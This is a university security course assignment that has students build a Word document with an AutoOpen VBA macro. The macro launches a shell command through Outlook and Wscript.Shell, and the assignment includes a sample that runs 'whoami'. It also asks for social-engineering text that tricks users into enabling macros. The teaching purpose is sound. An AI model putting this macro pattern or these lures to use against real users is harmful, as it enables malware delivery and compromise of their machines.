

ISEC 3077 Assignment 2, Embedded Macros

Issued Date: February 13, 2024

Due date: February 29, 2024

Preamble

Malicious Macros are easily embedded into office documents and sent to unsuspecting users. The purpose of this assignment is to practice embedding a VB script into a word file that will run an external process so that we can study how malicious macros can be created. You should also practice effective social engineering in the word file (see step 3 below).

Requirements

Step 1: Create a word file containing a Macro that will execute when the document is opened (AutoOpen).

Step 2: Use the following commands to build an environment to run a script and then execute the script.

CreateObject – create an Outlook Application object and assign it to a variable. Then Create a Wscript Object within that variable and assign that new Object to another variable. Finally execute and external program with that Wscript object. See example below:

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Sub AutoOpen()

'Create an Outlook Application object

Dim objOL as object

Set objOL = CreateObject("Outlook.Application")

'Create Wscript Object shell under Outlook object

Set WshShell =objOL.CreateObject("Wscript.Shell")

'execute the command from the new shell, in this case whoami

Set WshShellExec=WshShell.Exec("whoami")

'show results of command

MsgBox (WshShellExec.Stdout.ReadAll)

End Sub

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```

Study references for the VB CreateObject command and Wscript.exe. Review the syntax and examine input parameters for Wscript.exe.

Step 3: It's not just as simple as embedding a Macro and then letting it run. Most implementations of Office will have Macros disabled by default with notification required to enable. The challenge is to convince the user to enable Macros. Be creative. One possibility is to create a document that shows just the beginning of data that user may want to see and include a statement in the document that they must enable something like *security, decryption, data protection etc*, to see the rest of the data. The message should ask them to click on the appropriate prompt to enable the Macro. Please note, your document could display some phony or garbled data after the Macro executes.

Step 4: Take a screenshot of the document open with your message to the user asking them to enable Macros displayed.

Step 5: Take a screen shot of your chosen external application running after the Macros have been enabled.

Submission Guidelines

Evaluation of this assignment will take the form of a submitted document containing a separate title page, the contents of the word document displayed to the user, the contents of your Macro, and the two screen shots requested above. Make sure the screen shots are readable.

The assignment is to be uploaded to the Brightspace shell on or before the due date. Your document is to be of professional quality including layout, spelling, grammar, and overall appearance. Create a separate title page containing the **course code** (ISEC), **course number** (2025), **assignment number** (2), **assignment title** ("Embedded Macros") and **your name**.

Your document filename MUST be of the format **YOURLASTNAME_YOURFIRSTNAME_ISEC2025_AS2**.

Rubric

This assignment is worth **25%** of your final mark and it is scored out of 40 points.

Neatness counts!

Total marks:40

Rubric	Condition Not Met	Condition Somewhat Met	Condition Met
Document Names, Section Headings and descriptions are clear, complete and well formatted as required.	0	1-5	6-10
Each question and task is complete and correct.	0	1-12	13-24
Assignment submission shows obvious effort and care especially regarding original content.	0	1-3	4-6
Total Points available by column	0	20	40